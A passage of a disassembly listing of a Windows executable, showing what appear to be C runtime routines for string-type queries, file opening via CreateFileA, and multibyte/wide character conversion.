push edi
mov [ebp+var_18], esp
cmp dword_4EFAC8, 0
jnz short loc_42C17E
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_4382B8
push 1
call dword_4F12EC ; GetStringTypeW
test eax, eax
jz short loc_42C152
mov dword_4EFAC8, 1
jmp short loc_42C17E
; ---------------------------------------------------------------------------
loc_42C152: ; CODE XREF: sub_42C100+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_4382B4
push 1
push 0
call dword_4F12F0 ; GetStringTypeA
test eax, eax
jz short loc_42C177
mov dword_4EFAC8, 2
jmp short loc_42C17E
; ---------------------------------------------------------------------------
loc_42C177: ; CODE XREF: sub_42C100+69j
xor eax, eax
jmp loc_42C2A8
; ---------------------------------------------------------------------------
loc_42C17E: ; CODE XREF: sub_42C100+2Dj
; sub_42C100+50j ...
cmp dword_4EFAC8, 2
jnz short loc_42C1B5
cmp [ebp+arg_14], 0
jnz short loc_42C196
mov edx, dword_4EF974
mov [ebp+arg_14], edx
loc_42C196: ; CODE XREF: sub_42C100+8Bj
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_14]
push ecx
call dword_4F12F0 ; GetStringTypeA
jmp loc_42C2A8
; ---------------------------------------------------------------------------
loc_42C1B5: ; CODE XREF: sub_42C100+85j
cmp dword_4EFAC8, 1
jnz loc_42C2A6
cmp [ebp+arg_10], 0
jnz short loc_42C1D1
mov edx, dword_4EF984
mov [ebp+arg_10], edx
loc_42C1D1: ; CODE XREF: sub_42C100+C6j
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_18]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_10]
push eax
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_42C205
xor eax, eax
jmp loc_42C2A8
; ---------------------------------------------------------------------------
loc_42C205: ; CODE XREF: sub_42C100+FCj
mov [ebp+var_4], 0
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_2C], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_2C]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
shl edx, 1
push edx
push 0
mov eax, [ebp+var_24]
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42C25B
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42C25B: ; CODE XREF: sub_42C100+142j
cmp [ebp+var_24], 0
jnz short loc_42C265
xor eax, eax
jmp short loc_42C2A8
; ---------------------------------------------------------------------------
loc_42C265: ; CODE XREF: sub_42C100+15Fj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42C28E
xor eax, eax
jmp short loc_42C2A8
; ---------------------------------------------------------------------------
loc_42C28E: ; CODE XREF: sub_42C100+188j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F12EC ; GetStringTypeW
jmp short loc_42C2A8
; ---------------------------------------------------------------------------
loc_42C2A6: ; CODE XREF: sub_42C100+BCj
xor eax, eax
loc_42C2A8: ; CODE XREF: sub_42C100+79j
; sub_42C100+B0j ...
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C2C0 proc near ; CODE XREF: sub_421F10+A1p
; sub_422AF0+137p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42C2C7: ; CODE XREF: sub_42C2C0+2Fj
cmp [ebp+arg_0], 0
jnz short loc_42C2EB
push offset dword_437514
push 0
push 2Eh
push offset dword_43862C
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_42C2EB
int 3 ; Trap to Debugger
loc_42C2EB: ; CODE XREF: sub_42C2C0+Bj
; sub_42C2C0+28j
xor eax, eax
test eax, eax
jnz short loc_42C2C7
mov ecx, dword_4EF8EC
add ecx, 1
mov dword_4EF8EC, ecx
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
push 3Bh
push offset dword_43862C
push 2
push 1000h
call sub_418EF0
add esp, 10h
mov ecx, [ebp+var_4]
mov [ecx+8], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_42C346
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ecx, 8
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 1000h
jmp short loc_42C36B
; ---------------------------------------------------------------------------
loc_42C346: ; CODE XREF: sub_42C2C0+69j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 4
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
loc_42C36B: ; CODE XREF: sub_42C2C0+84j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C2C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+10h]
mov [ebp-8], eax
mov ecx, [ebp-8]
add ecx, 4
mov [ebp-8], ecx
mov edx, [ebp-8]
mov eax, [edx-4]
mov [ebp-4], eax
mov dword ptr [ebp-8], 0
mov ecx, [ebp-4]
push ecx
push 40h
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42C3D0
add esp, 10h
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C3D0 proc near ; CODE XREF: sub_4225E0+2B0p
; .nsp0:0042C3C3p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_24], 0Ch
mov [ebp+var_20], 0
mov eax, [ebp+arg_4]
and eax, 80h
test eax, eax
jz short loc_42C3FD
mov [ebp+var_1C], 0
mov [ebp+var_38], 10h
jmp short loc_42C408
; ---------------------------------------------------------------------------
loc_42C3FD: ; CODE XREF: sub_42C3D0+1Ej
mov [ebp+var_1C], 1
mov [ebp+var_38], 0
loc_42C408: ; CODE XREF: sub_42C3D0+2Bj
mov ecx, [ebp+arg_4]
and ecx, 8000h
test ecx, ecx
jnz short loc_42C441
mov edx, [ebp+arg_4]
and edx, 4000h
test edx, edx
jz short loc_42C42C
mov al, [ebp+var_38]
or al, 80h
mov [ebp+var_38], al
jmp short loc_42C441
; ---------------------------------------------------------------------------
loc_42C42C: ; CODE XREF: sub_42C3D0+50j
cmp dword_4EFBF8, 8000h
jz short loc_42C441
mov cl, [ebp+var_38]
or cl, 80h
mov [ebp+var_38], cl
loc_42C441: ; CODE XREF: sub_42C3D0+43j
; sub_42C3D0+5Aj ...
mov edx, [ebp+arg_4]
and edx, 3
mov [ebp+var_40], edx
cmp [ebp+var_40], 0
jz short loc_42C45E
cmp [ebp+var_40], 1
jz short loc_42C467
cmp [ebp+var_40], 2
jz short loc_42C470
jmp short loc_42C479
; ---------------------------------------------------------------------------
loc_42C45E: ; CODE XREF: sub_42C3D0+7Ej
mov [ebp+var_34], 80000000h
jmp short loc_42C497
; ---------------------------------------------------------------------------
loc_42C467: ; CODE XREF: sub_42C3D0+84j
mov [ebp+var_34], 40000000h
jmp short loc_42C497
; ---------------------------------------------------------------------------
loc_42C470: ; CODE XREF: sub_42C3D0+8Aj
mov [ebp+var_34], 0C0000000h
jmp short loc_42C497
; ---------------------------------------------------------------------------
loc_42C479: ; CODE XREF: sub_42C3D0+8Cj
call sub_4248A0
mov dword ptr [eax], 16h
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C497: ; CODE XREF: sub_42C3D0+95j
; sub_42C3D0+9Ej ...
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
mov ecx, [ebp+var_44]
sub ecx, 10h
mov [ebp+var_44], ecx
cmp [ebp+var_44], 30h
ja short loc_42C4E2
mov eax, [ebp+var_44]
xor edx, edx
mov dl, byte_42C8F2[eax]
jmp off_42C8DE[edx*4]
loc_42C4BE: ; DATA XREF: .nsp0:off_42C8DEo
mov [ebp+var_8], 0
jmp short loc_42C500
; ---------------------------------------------------------------------------
loc_42C4C7: ; CODE XREF: sub_42C3D0+E7j
; DATA XREF: .nsp0:0042C8E2o
mov [ebp+var_8], 1
jmp short loc_42C500
; ---------------------------------------------------------------------------
loc_42C4D0: ; CODE XREF: sub_42C3D0+E7j
; DATA XREF: .nsp0:0042C8E6o
mov [ebp+var_8], 2
jmp short loc_42C500
; ---------------------------------------------------------------------------
loc_42C4D9: ; CODE XREF: sub_42C3D0+E7j
; DATA XREF: .nsp0:0042C8EAo
mov [ebp+var_8], 3
jmp short loc_42C500
; ---------------------------------------------------------------------------
loc_42C4E2: ; CODE XREF: sub_42C3D0+DAj
; sub_42C3D0+E7j
; DATA XREF: ...
call sub_4248A0
mov dword ptr [eax], 16h
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C500: ; CODE XREF: sub_42C3D0+F5j
; sub_42C3D0+FEj ...
mov ecx, [ebp+arg_4]
and ecx, 700h
mov [ebp+var_48], ecx
cmp [ebp+var_48], 400h
jg short loc_42C54C
cmp [ebp+var_48], 400h
jz short loc_42C569
cmp [ebp+var_48], 200h
jg short loc_42C541
cmp [ebp+var_48], 200h
jz short loc_42C584
cmp [ebp+var_48], 0
jz short loc_42C569
cmp [ebp+var_48], 100h
jz short loc_42C572
jmp short loc_42C596
; ---------------------------------------------------------------------------
loc_42C541: ; CODE XREF: sub_42C3D0+155j
cmp [ebp+var_48], 300h
jz short loc_42C58D
jmp short loc_42C596
; ---------------------------------------------------------------------------
loc_42C54C: ; CODE XREF: sub_42C3D0+143j
cmp [ebp+var_48], 500h
jz short loc_42C57B
cmp [ebp+var_48], 600h
jz short loc_42C584
cmp [ebp+var_48], 700h
jz short loc_42C57B
jmp short loc_42C596
; ---------------------------------------------------------------------------
loc_42C569: ; CODE XREF: sub_42C3D0+14Cj
; sub_42C3D0+164j
mov [ebp+var_18], 3
jmp short loc_42C5B4
; ---------------------------------------------------------------------------
loc_42C572: ; CODE XREF: sub_42C3D0+16Dj
mov [ebp+var_18], 4
jmp short loc_42C5B4
; ---------------------------------------------------------------------------
loc_42C57B: ; CODE XREF: sub_42C3D0+183j
; sub_42C3D0+195j
mov [ebp+var_18], 1
jmp short loc_42C5B4
; ---------------------------------------------------------------------------
loc_42C584: ; CODE XREF: sub_42C3D0+15Ej
; sub_42C3D0+18Cj
mov [ebp+var_18], 5
jmp short loc_42C5B4
; ---------------------------------------------------------------------------
loc_42C58D: ; CODE XREF: sub_42C3D0+178j
mov [ebp+var_18], 2
jmp short loc_42C5B4
; ---------------------------------------------------------------------------
loc_42C596: ; CODE XREF: sub_42C3D0+16Fj
; sub_42C3D0+17Aj ...
call sub_4248A0
mov dword ptr [eax], 16h
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C5B4: ; CODE XREF: sub_42C3D0+1A0j
; sub_42C3D0+1A9j ...
mov [ebp+var_28], 80h
mov edx, [ebp+arg_4]
and edx, 100h
test edx, edx
jz short loc_42C605
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
add ecx, 4
mov [ebp+var_2C], ecx
mov edx, [ebp+var_2C]
mov eax, [edx-4]
mov [ebp+var_10], eax
mov [ebp+var_2C], 0
mov ecx, dword_4EF878
not ecx
mov edx, [ebp+var_10]
and edx, ecx
and edx, 80h
test edx, edx
jnz short loc_42C605
mov [ebp+var_28], 1
loc_42C605: ; CODE XREF: sub_42C3D0+1F6j
; sub_42C3D0+22Cj
mov eax, [ebp+arg_4]
and eax, 40h
test eax, eax
jz short loc_42C627
mov ecx, [ebp+var_28]
or ecx, 4000000h
mov [ebp+var_28], ecx
mov edx, [ebp+var_34]
or edx, 10000h
mov [ebp+var_34], edx
loc_42C627: ; CODE XREF: sub_42C3D0+23Dj
mov eax, [ebp+arg_4]
and eax, 1000h
test eax, eax
jz short loc_42C63C
mov ecx, [ebp+var_28]
or ch, 1
mov [ebp+var_28], ecx
loc_42C63C: ; CODE XREF: sub_42C3D0+261j
mov edx, [ebp+arg_4]
and edx, 20h
test edx, edx
jz short loc_42C653
mov eax, [ebp+var_28]
or eax, 8000000h
mov [ebp+var_28], eax
jmp short loc_42C669
; ---------------------------------------------------------------------------
loc_42C653: ; CODE XREF: sub_42C3D0+274j
mov ecx, [ebp+arg_4]
and ecx, 10h
test ecx, ecx
jz short loc_42C669
mov edx, [ebp+var_28]
or edx, 10000000h
mov [ebp+var_28], edx
loc_42C669: ; CODE XREF: sub_42C3D0+281j
; sub_42C3D0+28Bj
call sub_42B740
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42C695
call sub_4248A0
mov dword ptr [eax], 18h
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C695: ; CODE XREF: sub_42C3D0+2A5j
push 0
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+var_18]
push ecx
lea edx, [ebp+var_24]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_34]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4F13A8 ; CreateFileA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_42C6E1
call dword_4F1348 ; RtlGetLastWin32Error
push eax
call sub_424800
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_42BCE0
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C6E1: ; CODE XREF: sub_42C3D0+2ECj
mov ecx, [ebp+var_4]
push ecx
call dword_4F12FC ; GetFileType
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42C721
mov edx, [ebp+var_4]
push edx
call dword_4F1324 ; CloseHandle
call dword_4F1348 ; RtlGetLastWin32Error
push eax
call sub_424800
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_42BCE0
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C721: ; CODE XREF: sub_42C3D0+322j
cmp [ebp+var_C], 2
jnz short loc_42C732
mov cl, [ebp+var_38]
or cl, 40h
mov [ebp+var_38], cl
jmp short loc_42C741
; ---------------------------------------------------------------------------
loc_42C732: ; CODE XREF: sub_42C3D0+355j
cmp [ebp+var_C], 3
jnz short loc_42C741
mov dl, [ebp+var_38]
or dl, 8
mov [ebp+var_38], dl
loc_42C741: ; CODE XREF: sub_42C3D0+360j
; sub_42C3D0+366j
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_14]
push ecx
call sub_42B930
add esp, 8
mov dl, [ebp+var_38]
or dl, 1
mov [ebp+var_38], dl
mov eax, [ebp+var_14]
sar eax, 5
mov ecx, [ebp+var_14]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov al, [ebp+var_38]
mov [edx+ecx+4], al
movsx ecx, [ebp+var_38]
and ecx, 48h
test ecx, ecx
jnz loc_42C87F
movsx edx, [ebp+var_38]
and edx, 80h
test edx, edx
jz loc_42C87F
mov eax, [ebp+arg_4]
and eax, 2
test eax, eax
jz loc_42C87F
push 2
push 0FFFFFFFFh
mov ecx, [ebp+var_14]
push ecx
call sub_429380
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_42C7F1
call sub_4248B0
cmp dword ptr [eax], 83h
jz short loc_42C7EC
mov edx, [ebp+var_14]
push edx
call sub_41F570
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_42BCE0
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C7EC: ; CODE XREF: sub_42C3D0+3FAj
jmp loc_42C87F
; ---------------------------------------------------------------------------
loc_42C7F1: ; CODE XREF: sub_42C3D0+3EDj
mov [ebp+var_30], 0
push 1
lea ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_422190
add esp, 0Ch
test eax, eax
jnz short loc_42C849
movsx eax, [ebp+var_30]
cmp eax, 1Ah
jnz short loc_42C849
mov ecx, [ebp+var_3C]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_430DB0
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_42C849
mov eax, [ebp+var_14]
push eax
call sub_41F570
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_42BCE0
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C849: ; CODE XREF: sub_42C3D0+439j
; sub_42C3D0+442j ...
push 0
push 0
mov edx, [ebp+var_14]
push edx
call sub_429380
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_42C87F
mov eax, [ebp+var_14]
push eax
call sub_41F570
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_42BCE0
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42C8DA
; ---------------------------------------------------------------------------
loc_42C87F: ; CODE XREF: sub_42C3D0+3B0j
; sub_42C3D0+3C2j ...
movsx edx, [ebp+var_38]
and edx, 48h
test edx, edx
jnz short loc_42C8CB
mov eax, [ebp+arg_4]
and eax, 8
test eax, eax
jz short loc_42C8CB
mov ecx, [ebp+var_14]
sar ecx, 5
mov edx, [ebp+var_14]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
mov cl, [eax+edx+4]
or cl, 20h
mov edx, [ebp+var_14]
sar edx, 5
mov eax, [ebp+var_14]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4EFC40[edx*4]
mov [edx+eax+4], cl
loc_42C8CB: ; CODE XREF: sub_42C3D0+4B8j
; sub_42C3D0+4C2j
mov eax, [ebp+var_14]
push eax
call sub_42BCE0
add esp, 4
mov eax, [ebp+var_14]
loc_42C8DA: ; CODE XREF: sub_42C3D0+C2j
; sub_42C3D0+12Bj ...
mov esp, ebp
pop ebp
retn
sub_42C3D0 endp
; ---------------------------------------------------------------------------
off_42C8DE dd offset loc_42C4BE ; DATA XREF: sub_42C3D0+E7r
dd offset loc_42C4C7
dd offset loc_42C4D0
dd offset loc_42C4D9
dd offset loc_42C4E2
byte_42C8F2 db 0 ; DATA XREF: sub_42C3D0+E1r
db 4
dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h
dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C930 proc near ; CODE XREF: sub_422AF0+127p
; sub_424AA0+40p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jb short loc_42C942
xor eax, eax
jmp short loc_42C960
; ---------------------------------------------------------------------------
loc_42C942: ; CODE XREF: sub_42C930+Cj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx eax, byte ptr [eax+edx+4]
and eax, 40h
loc_42C960: ; CODE XREF: sub_42C930+10j
pop ebp
retn
sub_42C930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C970 proc near ; CODE XREF: sub_422D70+3CAp
; sub_422D70+B90p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4EFD48
call dword_4F1454 ; InterlockedIncrement
cmp dword_4EFD44, 0
jz short loc_42C9A8
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
push 13h
call sub_41FB40
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42C9AF
; ---------------------------------------------------------------------------
loc_42C9A8: ; CODE XREF: sub_42C970+18j
mov [ebp+var_4], 0
loc_42C9AF: ; CODE XREF: sub_42C970+36j
mov ax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42C9F0
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_42C9D5
push 13h
call sub_41FBE0
add esp, 4
jmp short loc_42C9E0
; ---------------------------------------------------------------------------
loc_42C9D5: ; CODE XREF: sub_42C970+57j
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
loc_42C9E0: ; CODE XREF: sub_42C970+63j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42C970 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C9F0 proc near ; CODE XREF: sub_42C970+48p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_42CA03
xor eax, eax
jmp loc_42CA8C
; ---------------------------------------------------------------------------
loc_42CA03: ; CODE XREF: sub_42C9F0+Aj
cmp dword_4EF974, 0
jnz short loc_42CA3A
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 0FFh
jle short loc_42CA2B
call sub_4248A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42CA8C
; ---------------------------------------------------------------------------
loc_42CA2B: ; CODE XREF: sub_42C9F0+29j
mov ecx, [ebp+arg_0]
mov dl, byte ptr [ebp+arg_4]
mov [ecx], dl
mov eax, 1
jmp short loc_42CA8C
; ---------------------------------------------------------------------------
loc_42CA3A: ; CODE XREF: sub_42C9F0+1Aj
mov [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push 0
mov ecx, dword_4516A8
push ecx
mov edx, [ebp+arg_0]
push edx
push 1
lea eax, [ebp+arg_4]
push eax
push 220h
mov ecx, dword_4EF984
push ecx
call dword_4F141C ; WideCharToMultiByte
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42CA79
cmp [ebp+var_8], 0
jz short loc_42CA89
loc_42CA79: ; CODE XREF: sub_42C9F0+81j
call sub_4248A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42CA8C
; ---------------------------------------------------------------------------
loc_42CA89: ; CODE XREF: sub_42C9F0+87j
mov eax, [ebp+var_4]
loc_42CA8C: ; CODE XREF: sub_42C9F0+Ej
; sub_42C9F0+39j ...
mov esp, ebp
pop ebp
retn
sub_42C9F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CA90 proc near ; CODE XREF: sub_424CA0+74Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4EFD48
call dword_4F1454 ; InterlockedIncrement
cmp dword_4EFD44, 0
jz short loc_42CAC8
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
push 13h
call sub_41FB40
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42CACF
; ---------------------------------------------------------------------------
loc_42CAC8: ; CODE XREF: sub_42CA90+18j
mov [ebp+var_4], 0
loc_42CACF: ; CODE XREF: sub_42CA90+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42CB10
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_42CAF8
push 13h
call sub_41FBE0
add esp, 4
jmp short loc_42CB03
; ---------------------------------------------------------------------------
loc_42CAF8: ; CODE XREF: sub_42CA90+5Aj
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
loc_42CB03: ; CODE XREF: sub_42CA90+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42CA90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CB10 proc near ; CODE XREF: sub_42CA90+4Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_42CB16: ; CODE XREF: sub_42CB10+3Aj
cmp dword_4516A8, 1
jz short loc_42CB46
cmp dword_4516A8, 2
jz short loc_42CB46
push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
push 0
push 4Fh
push offset dword_438638
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_42CB46
int 3 ; Trap to Debugger
loc_42CB46: ; CODE XREF: sub_42CB10+Dj
; sub_42CB10+16j ...
xor eax, eax
test eax, eax
jnz short loc_42CB16
cmp [ebp+arg_4], 0
jz short loc_42CB58
cmp [ebp+arg_8], 0
jnz short loc_42CB5F
loc_42CB58: ; CODE XREF: sub_42CB10+40j
xor eax, eax
jmp loc_42CC69
; ---------------------------------------------------------------------------
loc_42CB5F: ; CODE XREF: sub_42CB10+46j
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42CB7E
cmp [ebp+arg_0], 0
jz short loc_42CB77
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_42CB77: ; CODE XREF: sub_42CB10+5Dj
xor eax, eax
jmp loc_42CC69
; ---------------------------------------------------------------------------
loc_42CB7E: ; CODE XREF: sub_42CB10+57j
cmp dword_4EF974, 0
jnz short loc_42CBA4
cmp [ebp+arg_0], 0
jz short loc_42CB9A
mov ecx, [ebp+arg_4]
movzx dx, byte ptr [ecx]
mov eax, [ebp+arg_0]
mov [eax], dx
loc_42CB9A: ; CODE XREF: sub_42CB10+7Bj
mov eax, 1
jmp loc_42CC69
; ---------------------------------------------------------------------------
loc_42CBA4: ; CODE XREF: sub_42CB10+75j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_42CC2D
cmp dword_4516A8, 1
jle short loc_42CC00
mov edx, [ebp+arg_8]
cmp edx, dword_4516A8
jl short loc_42CC00
xor eax, eax
cmp [ebp+arg_0], 0
setnz al
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, dword_4516A8
push edx
mov eax, [ebp+arg_4]
push eax
push 9
mov ecx, dword_4EF984
push ecx
call dword_4F1420 ; MultiByteToWideChar
test eax, eax
jnz short loc_42CC26
loc_42CC00: ; CODE XREF: sub_42CB10+B7j
; sub_42CB10+C2j
mov edx, [ebp+arg_8]
cmp edx, dword_4516A8
jb short loc_42CC16
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+1]
test ecx, ecx
jnz short loc_42CC26
loc_42CC16: ; CODE XREF: sub_42CB10+F9j
call sub_4248A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42CC69
; ---------------------------------------------------------------------------
loc_42CC26: ; CODE XREF: sub_42CB10+EEj
; sub_42CB10+104j
mov eax, dword_4516A8
jmp short loc_42CC69
; ---------------------------------------------------------------------------
loc_42CC2D: ; CODE XREF: sub_42CB10+AEj
xor edx, edx
cmp [ebp+arg_0], 0
setnz dl
push edx
mov eax, [ebp+arg_0]
push eax
push 1
mov ecx, [ebp+arg_4]
push ecx
push 9
mov edx, dword_4EF984
push edx
call dword_4F1420 ; MultiByteToWideChar
test eax, eax
jnz short loc_42CC64
call sub_4248A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42CC69
; ---------------------------------------------------------------------------
